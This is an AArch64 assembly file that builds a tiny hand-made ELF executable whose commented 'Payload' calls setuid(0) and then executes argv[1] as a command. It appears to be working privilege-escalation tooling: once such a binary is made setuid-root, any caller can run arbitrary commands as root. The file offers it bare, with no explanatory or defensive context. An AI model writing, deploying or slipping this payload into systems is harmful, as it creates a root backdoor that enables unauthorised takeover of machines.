.section .text
.globl _start

// --- 64-bit ELF Header ---
ehdr:
    .byte 0x7F, 0x45, 0x4c, 0x46 // "\x7fELF"
    .byte 2, 1, 1, 0           // 64-bit, little-endian, version 1
    .byte 0, 0, 0, 0, 0, 0, 0, 0
    .short 2                   // e_type: Executable
    .short 183                 // e_machine: AArch64 (0xB7)
    .int 1                     // e_version
    .quad 0x400078             // e_entry (0x400000 + 0x78)
    .quad 0x40                 // e_phoff (Program Header offset)
    .quad 0                    // e_shoff
    .int 0                     // e_flags
    .short 64                  // e_ehsize
    .short 56                  // e_phentsize
    .short 1                   // e_phnum
    .short 0                   // e_shentsize
    .short 0                   // e_shnum
    .short 0                   // e_shstrndx

// --- Program Header (PT_LOAD) ---
phdr:
    .int 1                     // p_type: PT_LOAD
    .int 5                     // p_flags: PF_R | PF_X
    .quad 0                    // p_offset
    .quad 0x400000             // p_vaddr
    .quad 0x400000             // p_paddr
    .quad file_end - ehdr      // p_filesz
    .quad file_end - ehdr      // p_memsz
    .quad 0x10000              // p_align

// --- Payload ---
_start:
    // setuid(0)
    mov x0, #0
    mov x8, #146               // SYS_setuid
    svc #0

    // execve(argv[1], NULL, NULL)
    ldr x0, [sp, #16]          // x0 = argv[1]
    mov x1, #0                 // x1 = NULL
    mov x2, #0                 // x2 = NULL
    mov x8, #221               // SYS_execve
    svc #0

    // exit(0)
    mov x0, #0
    mov x8, #93                // SYS_exit
    svc #0

file_end: